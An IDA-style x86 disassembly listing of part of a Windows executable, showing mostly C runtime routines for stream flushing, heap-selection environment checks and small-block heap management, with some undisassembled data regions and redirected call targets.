		jmp	short loc_41E1CE
; ---------------------------------------------------------------------------


loc_41E1B4:				; CODE XREF: sub_41E0D4+D3j
		push	esi
		push	esi
		push	0FFFFFFFFh
		push	[ebp+arg_4]
		push	9
		push	dword_4DBE94
		call	near ptr 2720000h
		nop
		cmp	eax, esi
		jz	short loc_41E150


loc_41E1CD:				; CODE XREF: sub_41E0D4+6Bj
		dec	eax


loc_41E1CE:				; CODE XREF: sub_41E0D4+1Aj
					; sub_41E0D4+2Aj ...
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E0D4	endp

; ---------------------------------------------------------------------------
		db 9Ch
		dd 0CA7726A5h, 24848F31h, 0F5A9F29Ch, 0A164E34Fh, 0
		dd 25896450h, 0
		dd 5358EC83h, 65895756h, 1BE890E8h, 3302493Ah, 89D48AD2h
		dd 4DBDF415h, 81C88B00h, 0FFE1h, 0F00D8900h, 0C1004DBDh
		dd 0CA0308E1h, 0BDEC0D89h, 0E8C1004Dh, 0BDE8A310h, 0F633004Dh
		dd 440E856h, 85590000h,	6A0875C0h, 0B0E81Ch, 89590000h
		dd 0C4E8FC75h, 90000058h, 4939A0E8h, 0D38CA302h, 82E8004Dh
		dd 0A3000057h, 4DBE34h,	552BE8h, 546DE800h, 0F9E80000h
		dd 89FFFFDEh, 458DD075h, 0E89050A4h, 2491D88h, 53FEE8h
		dd 9C458900h, 1D045F6h,	0B70F0674h, 3EBD445h, 50580A6Ah
		dd 569C75FFh, 6BE89056h, 50022929h, 0FE2F80E8h,	0A04589FFh
		dd 0DEE7E850h, 458BFFFFh, 8B088BECh, 984D8909h,	3CE85150h
		dd 59000052h, 658BC359h, 9875FFE8h, 0FFDED9E8h
		db 0FFh

; =============== S U B	R O U T	I N E =======================================



sub_41E2C9	proc near		; CODE XREF: sub_41DA32+16p
					; ___:00423721p ...

arg_0		= dword	ptr  4

		cmp	dword_4DBE3C, 1
		jnz	short loc_41E2D7
		call	sub_423D98


loc_41E2D7:				; CODE XREF: sub_41E2C9+7j
		push	[esp+arg_0]
		call	sub_423DD1
		push	0FFh
		call	off_43AE40
		pop	ecx
		pop	ecx
		retn
sub_41E2C9	endp

; ---------------------------------------------------------------------------
		dw 3D83h
		dd offset dword_4DBE3C
		dd 0E8057501h, 5A9Ch, 42474FFh,	5ACCE8h, 0FF685900h, 90000000h
		dd 0A579A4E8h
		db 77h,	0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E312	proc near		; CODE XREF: sub_41BA3B+2Ap
					; sub_42423B+290p

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]
		cmp	edi, dword_4DD140
		jnb	loc_41E3AC
		mov	eax, edi
		mov	esi, edi
		sar	eax, 5
		and	esi, 1Fh
		lea	ebx, ds:4DD040h[eax*4]
		shl	esi, 3
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41E3AC
		push	edi
		call	sub_4240AA
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E38B
		cmp	edi, 1
		jz	short loc_41E359
		cmp	edi, 2
		jnz	short loc_41E36F


loc_41E359:				; CODE XREF: sub_41E312+40j
		push	2
		call	sub_4240AA
		push	1
		mov	ebp, eax
		call	sub_4240AA
		pop	ecx
		cmp	eax, ebp
		pop	ecx
		jz	short loc_41E38B


loc_41E36F:				; CODE XREF: sub_41E312+45j
		push	edi
		call	sub_4240AA
		pop	ecx
		push	eax
		nop
		call	near ptr 26808BBh
		test	eax, eax
		jnz	short loc_41E38B
		nop
		call	near ptr 26B0669h
		mov	ebp, eax
		jmp	short loc_41E38D
; ---------------------------------------------------------------------------


loc_41E38B:				; CODE XREF: sub_41E312+3Bj
					; sub_41E312+5Bj ...
		xor	ebp, ebp


loc_41E38D:				; CODE XREF: sub_41E312+77j
		push	edi
		call	sub_424030
		mov	eax, [ebx]
		pop	ecx
		and	byte ptr [eax+esi+4], 0
		test	ebp, ebp
		jz	short loc_41E3A8
		push	ebp
		call	sub_420C7F
		pop	ecx
		jmp	short loc_41E3BD
; ---------------------------------------------------------------------------


loc_41E3A8:				; CODE XREF: sub_41E312+8Bj
		xor	eax, eax
		jmp	short loc_41E3C0
; ---------------------------------------------------------------------------


loc_41E3AC:				; CODE XREF: sub_41E312+Ej
					; sub_41E312+2Fj
		and	dword_4DBDE0, 0
		mov	dword_4DBDDC, 9


loc_41E3BD:				; CODE XREF: sub_41E312+94j
		or	eax, 0FFFFFFFFh


loc_41E3C0:				; CODE XREF: sub_41E312+98j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41E312	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C5	proc near		; CODE XREF: sub_41BA3B+22p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41E3EE
		test	al, 8
		jz	short loc_41E3EE
		push	dword ptr [esi+8]
		call	sub_41BA91
		and	word ptr [esi+0Ch], 0FBF7h
		xor	eax, eax
		pop	ecx
		mov	[esi], eax
		mov	[esi+8], eax
		mov	[esi+4], eax


loc_41E3EE:				; CODE XREF: sub_41E3C5+Aj
					; sub_41E3C5+Ej
		pop	esi
		retn
sub_41E3C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3F0	proc near		; CODE XREF: sub_41E490+2Dp
					; sub_41E490+48p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jnz	short loc_41E402
		push	esi
		call	sub_41E490
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E402:				; CODE XREF: sub_41E3F0+7j
		push	esi
		call	sub_41E42B
		test	eax, eax
		pop	ecx
		jz	short loc_41E412
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41E412:				; CODE XREF: sub_41E3F0+1Bj
		test	byte ptr [esi+0Dh], 40h
		jz	short loc_41E427
		push	dword ptr [esi+10h]
		call	sub_4240E7
		neg	eax
		pop	ecx
		pop	esi
		sbb	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41E427:				; CODE XREF: sub_41E3F0+26j
		xor	eax, eax
		pop	esi
		retn
sub_41E3F0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E42B	proc near		; CODE XREF: sub_41BA3B+1Ap
					; ___:0041DAC2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		xor	ebx, ebx
		push	edi
		mov	eax, [esi+0Ch]
		mov	ecx, eax
		and	ecx, 3
		cmp	cl, 2
		jnz	short loc_41E478
		test	ax, 108h
		jz	short loc_41E478
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41E478
		push	edi
		push	eax
		push	dword ptr [esi+10h]
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, edi
		jnz	short loc_41E471
		mov	eax, [esi+0Ch]
		test	al, 80h
		jz	short loc_41E478
		and	al, 0FDh
		mov	[esi+0Ch], eax
		jmp	short loc_41E478
; ---------------------------------------------------------------------------


loc_41E471:				; CODE XREF: sub_41E42B+36j
		or	dword ptr [esi+0Ch], 20h
		or	ebx, 0FFFFFFFFh


loc_41E478:				; CODE XREF: sub_41E42B+14j
					; sub_41E42B+1Aj ...
		mov	eax, [esi+8]
		and	dword ptr [esi+4], 0
		mov	[esi], eax
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41E42B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E487	proc near		; CODE XREF: sub_4241E3p
		push	1
		call	sub_41E490
		pop	ecx
		retn
sub_41E487	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E490	proc near		; CODE XREF: sub_41E3F0+Ap
					; sub_41E487+2p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	esi, esi
		xor	ebx, ebx
		xor	edi, edi
		cmp	dword_4DD020, esi
		jle	short loc_41E4EE


loc_41E4A1:				; CODE XREF: sub_41E490+5Cj
		mov	eax, dword_4DC01C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_41E4E5
		mov	ecx, [eax+0Ch]
		test	cl, 83h
		jz	short loc_41E4E5
		cmp	[esp+0Ch+arg_0], 1
		jnz	short loc_41E4CB
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41E4E5
		inc	ebx
		jmp	short loc_41E4E5
; ---------------------------------------------------------------------------


loc_41E4CB:				; CODE XREF: sub_41E490+2Aj
		cmp	[esp+0Ch+arg_0], 0
		jnz	short loc_41E4E5
		test	cl, 2
		jz	short loc_41E4E5
		push	eax
		call	sub_41E3F0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_41E4E5
		or	edi, eax


loc_41E4E5:				; CODE XREF: sub_41E490+1Bj
					; sub_41E490+23j ...
		inc	esi
		cmp	esi, dword_4DD020
		jl	short loc_41E4A1


loc_41E4EE:				; CODE XREF: sub_41E490+Fj
		cmp	[esp+0Ch+arg_0], 1
		mov	eax, ebx
		jz	short loc_41E4F9
		mov	eax, edi


loc_41E4F9:				; CODE XREF: sub_41E490+65j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41E490	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E4FD	proc near		; CODE XREF: ___:0041E660p

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		and	dword ptr [esi], 0
		call	near ptr 26B0C06h
		nop
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_41E528
		mov	ecx, [eax+3Ch]
		test	ecx, ecx
		jz	short loc_41E528
		add	eax, ecx
		mov	cl, [eax+1Ah]
		mov	[esi], cl
		mov	al, [eax+1Bh]
		mov	[esi+1], al


loc_41E528:				; CODE XREF: sub_41E4FD+15j
					; sub_41E4FD+1Cj
		pop	esi
		retn
sub_41E4FD	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 122Ch
		call	sub_41C500
		lea	eax, [ebp-98h]
		push	ebx
		push	eax
		mov	dword ptr [ebp-98h], 94h
		nop
		call	near ptr 2700552h
		test	eax, eax
		jz	short loc_41E56D
		cmp	dword ptr [ebp-88h], 2
		jnz	short loc_41E56D
		cmp	dword ptr [ebp-94h], 5
		jb	short loc_41E56D
		push	1
		pop	eax
		jmp	loc_41E66F
; ---------------------------------------------------------------------------


loc_41E56D:				; CODE XREF: ___:0041E551j
					; ___:0041E55Aj ...
		lea	eax, [ebp-122Ch]
		push	1090h
		push	eax
		push	offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
		call	near ptr 28C0000h
		nop
		test	eax, eax
		jz	loc_41E65C
		xor	ebx, ebx
		lea	ecx, [ebp-122Ch]
		cmp	[ebp-122Ch], bl
		jz	short loc_41E5AF


loc_41E59C:				; CODE XREF: ___:0041E5ADj
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E5AA
		cmp	al, 7Ah
		jg	short loc_41E5AA
		sub	al, 20h
		mov	[ecx], al


loc_41E5AA:				; CODE XREF: ___:0041E5A0j
					; ___:0041E5A4j
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E59C


loc_41E5AF:				; CODE XREF: ___:0041E59Aj
		lea	eax, [ebp-122Ch]
		push	16h
		push	eax
		push	offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
		call	sub_41C850
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41E5D1
		lea	eax, [ebp-122Ch]
		jmp	short loc_41E61A
; ---------------------------------------------------------------------------


loc_41E5D1:				; CODE XREF: ___:0041E5C7j
		lea	eax, [ebp-19Ch]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 2690000h
		cmp	[ebp-19Ch], bl
		lea	ecx, [ebp-19Ch]
		jz	short loc_41E605


loc_41E5F2:				; CODE XREF: ___:0041E603j
		mov	al, [ecx]
		cmp	al, 61h
		jl	short loc_41E600
		cmp	al, 7Ah
		jg	short loc_41E600
		sub	al, 20h
		mov	[ecx], al


loc_41E600:				; CODE XREF: ___:0041E5F6j
					; ___:0041E5FAj
		inc	ecx
		cmp	[ecx], bl
		jnz	short loc_41E5F2


loc_41E605:				; CODE XREF: ___:0041E5F0j
		lea	eax, [ebp-19Ch]
		push	eax
		lea	eax, [ebp-122Ch]
		push	eax
		call	sub_41C2E0
		pop	ecx
		pop	ecx


loc_41E61A:				; CODE XREF: ___:0041E5CFj
		cmp	eax, ebx
		jz	short loc_41E65C
		push	2Ch
		push	eax
		call	sub_41C990
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41E65C
		inc	eax
		mov	ecx, eax
		cmp	[eax], bl
		jz	short loc_41E641


loc_41E633:				; CODE XREF: ___:0041E63Fj
		cmp	byte ptr [ecx],	3Bh
		jnz	short loc_41E63C
		mov	[ecx], bl
		jmp	short loc_41E63D
; ---------------------------------------------------------------------------


loc_41E63C:				; CODE XREF: ___:0041E636j
		inc	ecx


loc_41E63D:				; CODE XREF: ___:0041E63Aj
		cmp	[ecx], bl
		jnz	short loc_41E633


loc_41E641:				; CODE XREF: ___:0041E631j
		push	0Ah
		push	ebx
		push	eax
		call	sub_41C586
		add	esp, 0Ch
		cmp	eax, 2
		jz	short loc_41E66F
		cmp	eax, 3
		jz	short loc_41E66F
		cmp	eax, 1
		jz	short loc_41E66F


loc_41E65C:				; CODE XREF: ___:0041E586j
					; ___:0041E61Cj ...
		lea	eax, [ebp-4]
		push	eax
		call	sub_41E4FD
		cmp	byte ptr [ebp-4], 6
		pop	ecx
		sbb	eax, eax
		add	eax, 3


loc_41E66F:				; CODE XREF: ___:0041E568j
					; ___:0041E650j ...
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dw 0C033h
		dd 4439006Ah, 680824h, 0F000010h, 9050C094h, 4B1977E8h
		dd 0A3C08502h, 4DD384h,	93E83674h, 83FFFFFEh, 88A303F8h
		dd 75004DD3h, 3F8680Dh,	24E80000h, 59000000h, 0F8830AEBh
		dd 0E8187502h, 0B5Eh, 0F75C085h, 0D38435FFh, 73E8004Dh
		dd 90024A27h, 6AC3C033h, 68C35801h, 140h, 35FF006Ah, 4DD384h
		dd 3E191FE8h, 0C0859002h, 4DD37CA3h, 0C3017500h, 4244C8Bh
		dd 0D3742583h, 8300004Dh, 4DD37825h, 16A0000h, 4DD370A3h
		dd 800D8900h, 0C7004DD3h, 4DD36805h, 1000h
		db 0, 58h, 0C3h

; =============== S U B	R O U T	I N E =======================================



sub_41E717	proc near		; CODE XREF: sub_41BA91+17p
					; sub_41BBE2+4Cp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DD378
		lea	ecx, [eax+eax*4]
		mov	eax, dword_4DD37C
		lea	ecx, [eax+ecx*4]


loc_41E727:				; CODE XREF: sub_41E717+26j
		cmp	eax, ecx
		jnb	short loc_41E73F
		mov	edx, [esp+arg_0]
		sub	edx, [eax+0Ch]
		cmp	edx, 100000h
		jb	short locret_41E741
		add	eax, 14h
		jmp	short loc_41E727
; ---------------------------------------------------------------------------


loc_41E73F:				; CODE XREF: sub_41E717+12j
		xor	eax, eax

locret_41E741:				; CODE XREF: sub_41E717+21j
		retn
sub_41E717	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E742	proc near		; CODE XREF: sub_41BA91+23p
					; sub_41BBE2+A4p ...

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [ecx+10h]
		push	edi
		mov	edi, esi
		add	esi, 0FFFFFFFCh
		sub	edi, [ecx+0Ch]
		shr	edi, 0Fh
		mov	ecx, edi
		imul	ecx, 204h
		lea	ecx, [ecx+eax+144h]
		mov	[ebp+var_10], ecx
		mov	ecx, [esi]
		dec	ecx
		test	cl, 1
		mov	[ebp+var_4], ecx
		jnz	loc_41EA66
		mov	edx, [ecx+esi]
		lea	ebx, [ecx+esi]
		mov	[ebp+var_C], edx
		mov	edx, [esi-4]
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_C]
		test	dl, 1
		mov	[ebp+arg_4], ebx
		jnz	short loc_41E818
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E7A6
		push	3Fh
		pop	edx


loc_41E7A6:				; CODE XREF: sub_41E742+5Fj
		mov	ecx, [ebx+4]
		cmp	ecx, [ebx+8]
		jnz	short loc_41E7FA
		cmp	edx, 20h
		jnb	short loc_41E7D1
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+44h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx], ebx
		jmp	short loc_41E7F2
; ---------------------------------------------------------------------------


loc_41E7D1:				; CODE XREF: sub_41E742+6Fj
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		lea	ecx, [edx+eax+4]
		not	ebx
		and	[eax+edi*4+0C4h], ebx
		dec	byte ptr [ecx]
		jnz	short loc_41E7F2
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], ebx


loc_41E7F2:				; CODE XREF: sub_41E742+86j
					; sub_41E742+8Dj ...
		mov	ecx, [ebp+var_4]
		mov	ebx, [ebp+arg_4]
		jmp	short loc_41E7FD
; ---------------------------------------------------------------------------


loc_41E7FA:				; CODE XREF: sub_41E742+6Aj
		mov	ecx, [ebp+var_4]


loc_41E7FD:				; CODE XREF: sub_41E742+B6j
		mov	edx, [ebx+8]
		mov	ebx, [ebx+4]
		add	ecx, [ebp+var_C]
		mov	[edx+4], ebx
		mov	edx, [ebp+arg_4]
		mov	[ebp+var_4], ecx
		mov	ebx, [edx+4]
		mov	edx, [edx+8]
		mov	[ebx+8], edx


loc_41E818:				; CODE XREF: sub_41E742+56j
		mov	edx, ecx
		sar	edx, 4
		dec	edx
		cmp	edx, 3Fh
		jbe	short loc_41E826
		push	3Fh
		pop	edx


loc_41E826:				; CODE XREF: sub_41E742+DFj
		mov	ebx, [ebp+var_8]
		and	ebx, 1
		mov	[ebp+var_C], ebx
		jnz	loc_41E8C9
		sub	esi, [ebp+var_8]
		mov	ebx, [ebp+var_8]
		sar	ebx, 4
		push	3Fh
		mov	[ebp+arg_4], esi
		dec	ebx
		pop	esi
		cmp	ebx, esi
		jbe	short loc_41E84B
		mov	ebx, esi


loc_41E84B:				; CODE XREF: sub_41E742+105j
		add	ecx, [ebp+var_8]
		mov	edx, ecx
		mov	[ebp+var_4], ecx
		sar	edx, 4
		dec	edx
		cmp	edx, esi
		jbe	short loc_41E85D
		mov	edx, esi


loc_41E85D:				; CODE XREF: sub_41E742+117j
		cmp	ebx, edx
		jz	short loc_41E8C4
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		cmp	esi, [ecx+8]
		jnz	short loc_41E8AC
		cmp	ebx, 20h
		jnb	short loc_41E88D
		mov	esi, 80000000h
		mov	ecx, ebx
		shr	esi, cl
		not	esi
		and	[eax+edi*4+44h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx], esi
		jmp	short loc_41E8AC
; ---------------------------------------------------------------------------


loc_41E88D:				; CODE XREF: sub_41E742+12Dj
		lea	ecx, [ebx-20h]
		mov	esi, 80000000h
		shr	esi, cl
		not	esi
		and	[eax+edi*4+0C4h], esi
		dec	byte ptr [ebx+eax+4]
		jnz	short loc_41E8AC
		mov	ecx, [ebp+arg_0]
		and	[ecx+4], esi


loc_41E8AC:				; CODE XREF: sub_41E742+128j
					; sub_41E742+142j ...
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+8]
		mov	ecx, [ecx+4]
		mov	[esi+4], ecx
		mov	ecx, [ebp+arg_4]
		mov	esi, [ecx+4]
		mov	ecx, [ecx+8]
		mov	[esi+8], ecx


loc_41E8C4:				; CODE XREF: sub_41E742+11Dj
		mov	esi, [ebp+arg_4]
		jmp	short loc_41E8CC
; ---------------------------------------------------------------------------


loc_41E8C9:				; CODE XREF: sub_41E742+EDj
		mov	ebx, [ebp+arg_0]


loc_41E8CC:				; CODE XREF: sub_41E742+185j
		cmp	[ebp+var_C], 0
		jnz	short loc_41E8DA
		cmp	ebx, edx
		jz	loc_41E95B


loc_41E8DA:				; CODE XREF: sub_41E742+18Ej
		mov	ecx, [ebp+var_10]
		mov	ebx, [ecx+edx*8+4]
		lea	ecx, [ecx+edx*8]
		mov	[esi+4], ebx
		mov	[esi+8], ecx
		mov	[ecx+4], esi
		mov	ecx, [esi+4]
		mov	[ecx+8], esi
		mov	ecx, [esi+4]
		cmp	ecx, [esi+8]
		jnz	short loc_41E95B
		mov	cl, [edx+eax+4]
		cmp	edx, 20h
		mov	byte ptr [ebp+arg_4+3],	cl
		inc	cl
		mov	[edx+eax+4], cl
		jnb	short loc_41E932
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E921
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx], ebx


loc_41E921:				; CODE XREF: sub_41E742+1CFj
		mov	ebx, 80000000h
		mov	ecx, edx
		shr	ebx, cl
		lea	eax, [eax+edi*4+44h]
		or	[eax], ebx
		jmp	short loc_41E95B
; ---------------------------------------------------------------------------


loc_41E932:				; CODE XREF: sub_41E742+1C9j
		cmp	byte ptr [ebp+arg_4+3],	0
		jnz	short loc_41E948
		lea	ecx, [edx-20h]
		mov	ebx, 80000000h
		shr	ebx, cl
		mov	ecx, [ebp+arg_0]
		or	[ecx+4], ebx


loc_41E948:				; CODE XREF: sub_41E742+1F4j
		lea	ecx, [edx-20h]
		mov	edx, 80000000h
		shr	edx, cl
		lea	eax, [eax+edi*4+0C4h]
		or	[eax], edx


loc_41E95B:				; CODE XREF: sub_41E742+192j
					; sub_41E742+1B7j ...
		mov	eax, [ebp+var_4]
		mov	[esi], eax
		mov	[eax+esi-4], eax
		mov	eax, [ebp+var_10]
		dec	dword ptr [eax]
		jnz	loc_41EA66
		mov	eax, dword_4DD374
		test	eax, eax
		jz	loc_41EA58
		mov	ecx, dword_4DD36C
		mov	esi, dword_427068
		shl	ecx, 0Fh
		add	ecx, [eax+0Ch]
		mov	ebx, 8000h
		push	4000h
		push	ebx
		push	ecx
		call	esi
		mov	ecx, dword_4DD36C
		mov	eax, dword_4DD374
		mov	edx, 80000000h
		shr	edx, cl
		or	[eax+8], edx
		mov	eax, dword_4DD374
		mov	ecx, dword_4DD36C
		mov	eax, [eax+10h]
		and	dword ptr [eax+ecx*4+0C4h], 0
		mov	eax, dword_4DD374
		mov	eax, [eax+10h]
		dec	byte ptr [eax+43h]
		mov	eax, dword_4DD374
		mov	ecx, [eax+10h]
		cmp	byte ptr [ecx+43h], 0
		jnz	short loc_41E9E9
		and	dword ptr [eax+4], 0FFFFFFFEh
		mov	eax, dword_4DD374


loc_41E9E9:				; CODE XREF: sub_41E742+29Cj
		cmp	dword ptr [eax+8], 0FFFFFFFFh
		jnz	short loc_41EA58
		push	ebx
		push	0
		push	dword ptr [eax+0Ch]
		call	esi
		mov	eax, dword_4DD374
		push	dword ptr [eax+10h]
		push	0
		push	dword_4DD384
		call	near ptr 27F0614h
		nop
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		lea	eax, [eax+eax*4]
		shl	eax, 2
		mov	ecx, eax
		mov	eax, dword_4DD374
		sub	ecx, eax
		lea	ecx, [ecx+edx-14h]
		push	ecx
		lea	ecx, [eax+14h]
		push	ecx
		push	eax
		call	sub_41D670
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		dec	dword_4DD378
		cmp	eax, dword_4DD374
		jbe	short loc_41EA4E
		sub	[ebp+arg_0], 14h


loc_41EA4E:				; CODE XREF: sub_41E742+306j
		mov	eax, dword_4DD37C
		mov	dword_4DD370, eax


loc_41EA58:				; CODE XREF: sub_41E742+234j
					; sub_41E742+2ABj
		mov	eax, [ebp+arg_0]
		mov	dword_4DD36C, edi
		mov	dword_4DD374, eax


loc_41EA66:				; CODE XREF: sub_41E742+38j
					; sub_41E742+227j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41E742	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EA6B	proc near		; CODE XREF: sub_41BBE2+77p
					; sub_41BEF3+18p ...

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, dword_4DD378
		mov	edx, dword_4DD37C
		push	ebx
		push	esi
		lea	eax, [eax+eax*4]
		push	edi
		lea	edi, [edx+eax*4]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		lea	ecx, [eax+17h]
		and	ecx, 0FFFFFFF0h
		mov	[ebp+var_10], ecx
		sar	ecx, 4
		dec	ecx
		cmp	ecx, 20h
		jge	short loc_41EAAB
		or	esi, 0FFFFFFFFh
		shr	esi, cl
		or	[ebp+var_8], 0FFFFFFFFh
		mov	[ebp+var_C], esi
		jmp	short loc_41EABB
; ---------------------------------------------------------------------------


loc_41EAAB:				; CODE XREF: sub_41EA6B+30j
		add	ecx, 0FFFFFFE0h
		or	eax, 0FFFFFFFFh
		xor	esi, esi
		shr	eax, cl
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], eax


loc_41EABB:				; CODE XREF: sub_41EA6B+3Ej
		mov	eax, dword_4DD370
		mov	ebx, eax
		cmp	ebx, edi
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EAE2


loc_41EAC9:				; CODE XREF: sub_41EA6B+75j
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EAE2
		add	ebx, 14h
		cmp	ebx, [ebp+var_4]
		mov	[ebp+arg_0], ebx
		jb	short loc_41EAC9


loc_41EAE2:				; CODE XREF: sub_41EA6B+5Cj
					; sub_41EA6B+6Aj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_41EB60
		mov	ebx, edx


loc_41EAE9:				; CODE XREF: sub_41EA6B+96j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB05
		mov	ecx, [ebx+4]
		mov	edi, [ebx]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EB03
		add	ebx, 14h
		jmp	short loc_41EAE9
; ---------------------------------------------------------------------------


loc_41EB03:				; CODE XREF: sub_41EA6B+91j
		cmp	ebx, eax


loc_41EB05:				; CODE XREF: sub_41EA6B+83j
		jnz	short loc_41EB60


loc_41EB07:				; CODE XREF: sub_41EA6B+ADj
		cmp	ebx, [ebp+var_4]
		jnb	short loc_41EB1D
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB1A
		add	ebx, 14h
		mov	[ebp+arg_0], ebx
		jmp	short loc_41EB07
; ---------------------------------------------------------------------------


loc_41EB1A:				; CODE XREF: sub_41EA6B+A5j
		cmp	ebx, [ebp+var_4]


loc_41EB1D:				; CODE XREF: sub_41EA6B+9Fj
		jnz	short loc_41EB45
		mov	ebx, edx


loc_41EB21:				; CODE XREF: sub_41EA6B+C6j
		cmp	ebx, eax
		mov	[ebp+arg_0], ebx
		jnb	short loc_41EB35
		cmp	dword ptr [ebx+8], 0
		jnz	short loc_41EB33
		add	ebx, 14h
		jmp	short loc_41EB21
; ---------------------------------------------------------------------------


loc_41EB33:				; CODE XREF: sub_41EA6B+C1j
		cmp	ebx, eax


loc_41EB35:				; CODE XREF: sub_41EA6B+BBj
		jnz	short loc_41EB45
		call	sub_41ED74
		mov	ebx, eax
		test	ebx, ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41EB59


loc_41EB45:				; CODE XREF: sub_41EA6B:loc_41EB1Dj
					; sub_41EA6B:loc_41EB35j
		push	ebx
		call	sub_41EE25
		pop	ecx
		mov	ecx, [ebx+10h]
		mov	[ecx], eax
		mov	eax, [ebx+10h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_41EB60


loc_41EB59:				; CODE XREF: sub_41EA6B+D8j
		xor	eax, eax
		jmp	loc_41ED6F
; ---------------------------------------------------------------------------


loc_41EB60:				; CODE XREF: sub_41EA6B+7Aj
					; sub_41EA6B:loc_41EB05j ...
		mov	dword_4DD370, ebx
		mov	eax, [ebx+10h]
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		mov	[ebp+var_4], edx
		jz	short loc_41EB87
		mov	ecx, [eax+edx*4+0C4h]
		mov	edi, [eax+edx*4+44h]
		and	ecx, [ebp+var_8]
		and	edi, esi
		or	ecx, edi
		jnz	short loc_41EBBE


loc_41EB87:				; CODE XREF: sub_41EA6B+106j
		mov	edx, [eax+0C4h]
		mov	esi, [eax+44h]
		and	edx, [ebp+var_8]
		and	esi, [ebp+var_C]
		and	[ebp+var_4], 0
		lea	ecx, [eax+44h]
		or	edx, esi
		mov	esi, [ebp+var_C]
		jnz	short loc_41EBBB


loc_41EBA4:				; CODE XREF: sub_41EA6B+14Ej
		mov	edx, [ecx+84h]
